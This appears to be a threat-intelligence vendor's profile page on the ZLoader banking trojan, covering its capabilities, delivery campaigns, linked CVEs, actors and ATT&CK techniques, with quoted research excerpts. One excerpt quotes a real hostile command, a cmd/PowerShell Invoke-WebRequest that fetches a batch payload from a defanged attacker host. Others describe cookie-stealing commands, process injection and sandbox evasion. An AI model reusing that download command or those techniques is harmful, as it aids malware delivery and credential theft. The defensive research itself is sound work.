Loading malware…
ZLoader, also known as Silent Night, is a Windows malware family descended from Zeus and best known as a modular banking trojan that evolved into a broader malware-as-a-service delivery platform. It targets online banking, payment, and other financial services, while also serving as an initial-access and follow-on payload delivery mechanism for wider criminal intrusion activity, including ransomware operations.
ZLoader has been used to steal account credentials and other financial data, and variants have supported browser credential theft, cookie theft, keylogging, screenshot capture, file theft, web injects, and theft from cryptocurrency wallets. It can download and execute additional payloads, start remote-access functionality including VNC-style control, and inject into legitimate Windows processes and browsers. Reported samples and campaigns also show defense-evasion behavior, including disabling or impairing security software and using process injection.
The malware uses encrypted command-and-control communications and has long been associated with domain generation algorithm fallback infrastructure. Technical reporting describes a modular architecture with downloader and backdoor components, registry-based storage of configuration data, and support for retrieving updated configuration and modules from command-and-control servers.
ZLoader has been distributed through multiple delivery channels. Documented vectors include spam and phishing campaigns, including invoice-themed and COVID-19-themed lures, malicious Office documents exploiting CVE-2017-11882, and malicious Excel or Word attachments with macros. It has also been delivered through malicious web advertising, fake software installers, fake remote-work application downloads, fake browser or software updates, SEO-poisoning-style lures, and exploit-kit-driven malvertising chains. Campaigns have used trojanized installers themed as common software such as remote administration and conferencing tools.
Operationally, ZLoader has been linked to financially motivated cybercrime ecosystems and has been used by ransomware affiliates as an entry vector or staging malware. Reporting ties its use to delivery chains involving Ryuk and Egregor, and it has been referenced in activity associated with broader eCrime clusters overlapping with TrickBot, Gozi/ISFB, SmokeLoader, Raccoon Stealer, and Ursnif. Microsoft and industry partners conducted a major disruption operation against ZLoader infrastructure, describing it as a global organized-crime botnet and malware-as-a-service platform affecting businesses, hospitals, schools, and home users worldwide.
Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.
6 CVEs Mallory has correlated with this family across public research and vendor advisories. Each row links to the full Mallory page for that vulnerability.
Trend Micro uncovered a malicious Rich Text Format (RTF) file exploiting CVE-2017-11882 to deliver the spyware Loki (TSPY_LOKI). ... CVE-2017-11882 is a 17-year old memory corruption issue in Microsoft Office ... The flaw resides within Equation Editor (EQNEDT32.EXE) ... A proof-of-concept exploit was released publicly, but this has been fixed by Microsoft’s November Patch Tuesday.
MTR observed Zloader leveraging a known vulnerability in Windows that enabled appending malicious script content to digitally signed files provided by Microsoft, CVE-2013-3900. | Zloader is a banking trojan with historical ties to the Zeus malware. Recently, Egregor and Ryuk ransomware affiliates used Zloader for the initial point of entry.
In others, the CVE-2019-1579 vulnerability in Palo Alto’s GlobalProtect portal and GlobalProtect Gateway interface products and Microsoft Exchange server exposure were used. As a result of exploitation, an unauthenticated attacker could execute malicious code remotely (RCE).
Finally, the threat actor leverages CVE-2013-3900 and CVE-2020-1599 to execute a malicious script appended to a signed Windows dll that injects the main Zloader dll into an msiexec.exe process. | BatLoader vs ZLoader While researching the pre-existing information on BatLoader published on the public internet, there seemed to be some confusion as to whether BatLoader and Zloader, a banking trojan, are one and the same.
Zloader started life as a banking trojan, but lately evolved to become a distributor of several malware families, including various ransomware families.
Spelevo Exploit Kitは2つの脆弱性(CVE-2018-8174とCVE-2018-15982)を悪用することが報告されていますが、PseudoGateによる攻撃ではCVE-2018-15982のみが観測されています。CVE-2018-15982はAdobe Flash PlayerのRCEの脆弱性です。
10 distinct threat actors attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.
A prior effort included a ZLoader banking malware campaign disguised as job applicant emails.
The threat actors authored and operated the TrickBot malware from late 2016 until March 2022 and have also distributed malware such as BazarLoader, Anchor, Zloader, and Buer Loader.
SilentNight est un cheval de Troie vendu sur des forums russophones souterrains depuis fin 2019. Il est une variante du code malveillante Zloader.
Batloader has been observed to drop several malware payloads, such as Ursnif, Vidar, Bumbleloader, RedLine Stealer, ZLoader, Cobalt Strike, and SmokeLoader.
As announced today, Microsoft took action against the ZLoader trojan... Derived from the Zeus banking trojan first discovered in 2007, ZLoader is a malware family notable for its ability to evolve and change from campaign to campaign... ZLoader has previously been linked to ransomware infections such as Ryuk, DarkSide, and BlackMatter.
The IRS-themed emails contained malicious Microsoft Excel documents that requested victims enable macros to view content, thereby downloading and executing the ZLoader malware on a victim machine. ZLoader is a typical banking malware that steals credentials and other private information from users of targeted financial institutions.
38 distinct techniques documented for this family, organized by ATT&CK tactic.
Zloader infects users by leveraging malicious web advertising to redirect users into downloading malicious MSI files.
Spam campaigns using this new distribution chain first started to appear in early February 2021. The content of the emails follow the long-standing simplistic style of invoicing scams.
The Cobalt hacking group also weaponized this security flaw in one of their campaigns in late November, sending out a similarly constructed RTF file. In their previous spear-phishing campaigns, the DLL is a component of the penetration testing tool Cobalt Strike.
cmd.exe /C C:/Users/User/AppData/Roaming/internal/launch.bat powershell Invoke-WebRequest https[://]clouds222[.]com/t1m/index/processingSetRequestBat2/?servername=msi -OutFile flash.bat
while the EXE will be done alone with the help of “WScript.Shell”
Within the ComboBox objects’ initialization code in the UserForm objects and various other mechanisms, a download URL and a password are assembled and used within a call to the VBA function CallByName. | These MHTML files contain a Word document with VBA macros. The VBA macro code downloads and decrypts a password-protected XLS file | The document will automatically execute the macro code on closing the document
Trend Micro uncovered a malicious Rich Text Format (RTF) file exploiting CVE-2017-11882 to deliver the spyware Loki (TSPY_LOKI).
a user at an American automotive company attempted to install a remote access tool for their computer by Google searching “teamviewer download”. Unfortunately, this user accidentally clicked on a malicious advertisement, downloaded and then ran a malicious installation package called TeamViewer.msi .
The initial sample is a downloader, fetching the core malicious module and injecting it into various running processes. | Report about a successful injection into Explorer:
Along with that it will use Syscall associated with NtGetContextThread, NtSetContextThread and NtResumeThread. Doing this it is hijacking the Thread.
the macro code is obfuscated and won't give away its intended functionality very easily.
The nature of malware communications with its C&C server(s) has advanced over time, from using plain non-encrypted channels to using custom and standard symmetric ... and asymmetric ... encryption algorithms and protocols (SSL/TLS) to hinder network inspection of such malicious traffic.
Zloader MSI files were disguised as installers for remote working applications such as Zoom, TeamViewer, and Discord.
The initial sample is a downloader, fetching the core malicious module and injecting it into various running processes. | Report about a successful injection into Explorer:
Along with that it will use Syscall associated with NtGetContextThread, NtSetContextThread and NtResumeThread. Doing this it is hijacking the Thread.
At last, the decoding and execution of the payload is done by the “ThisWorkbook.gykvtla” function. The “hp” variable contains the base64 encoded data
The appended script content is executed using the windows binary mshta.exe .
Malware sometimes abuses these challenges by “sleeping” in the sandbox before carrying out malicious procedures to hide its real intentions. | API Hammering has been a known sandbox bypass technique that is sometimes used by malware authors to evade sandboxes. We’ve recently observed Zloader and the backdoor BazarLoader using new and unique implementations of API Hammering to remain stealthy.
The reports are geared towards banking theft. The reports could be of HTTP/S traffic, key logs, screenshots, cookies, passwords and mail. | The hook of the function user32.TranslateMessage redirects into a function responsible for keylogging and making screenshots.
user_cookies_get - steal cookies from all known browsers. | A longer report containing: 1) stolen Firefox cookies
Execution of this command triggers stealing passwords saved in the attacked browsers. Currently only Chrome is supported. | The reports are geared towards banking theft. The reports could be of HTTP/S traffic, key logs, screenshots, cookies, passwords and mail. | A new addition to the bot is the capability of stealing outlook credentials.
List of active processes: | The injecting function starts by taking a snapshot of all running processes, using CreateToolhelp32Snapshot, and then walks through it.
Malware sometimes abuses these challenges by “sleeping” in the sandbox before carrying out malicious procedures to hide its real intentions. | API Hammering has been a known sandbox bypass technique that is sometimes used by malware authors to evade sandboxes. We’ve recently observed Zloader and the backdoor BazarLoader using new and unique implementations of API Hammering to remain stealthy.
The reports are geared towards banking theft. The reports could be of HTTP/S traffic, key logs, screenshots, cookies, passwords and mail. | The hook of the function user32.TranslateMessage redirects into a function responsible for keylogging and making screenshots.
We obtained a court order ... allowing us to take control of 65 domains that the ZLoader gang has been using to grow, control and communicate with its botnet.
there is a GET request sent to the C2 (hxxps://tanikku.com/kku.php) which provides a status report on the successful infection.
This function is used to bypass the traffic generated by the browsers through the local proxy. | The bot collects the process list, and allows you to launch SOCKS5/HVNC services via its backconnect server.
Interestingly, this Smoke Loader instance also downloads Raccoon Stealer and ZLoader.
Anybody with previous experience working with encoded content will easily see that base64 encoding is used.
1,284 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.
IPs, domains, and DNS infrastructure linked to this family.
File hashes (MD5, SHA-1, SHA-256) from samples and reports.
Other indicator types observed in public reporting.
107 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
Mentioned as another malware family using comparable DNS tunneling command-and-control patterns.
Loader/trojan family spread through COVID-themed weaponized forms and phishing documents.
Zloader1
The State of SSL/TLS Certificate Usage in Malware C&C Communications AdWind ostap AsyncRAT BazarBackdoor BitRAT Buer Chthonic CloudEyE Cobalt Strike DCRat Dridex FindPOS GootKit Gozi IcedID ISFB Nanocore RAT Orcus RAT PandaBanker Qadars QakBot Quasar RAT Rockloader ServHelper Shifu SManager TorrentLocker TrickBot Vawtrak Zeus Zloader
Match every observed IP, domain, and hash against your live telemetry.
Named campaigns wielding this family, with evidence pinned to each claim.
CVEs this family uses for access and lateral movement.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Every documented technique, ranked by evidence weight.
Reddit, Mastodon, and CTI community discussion around this family.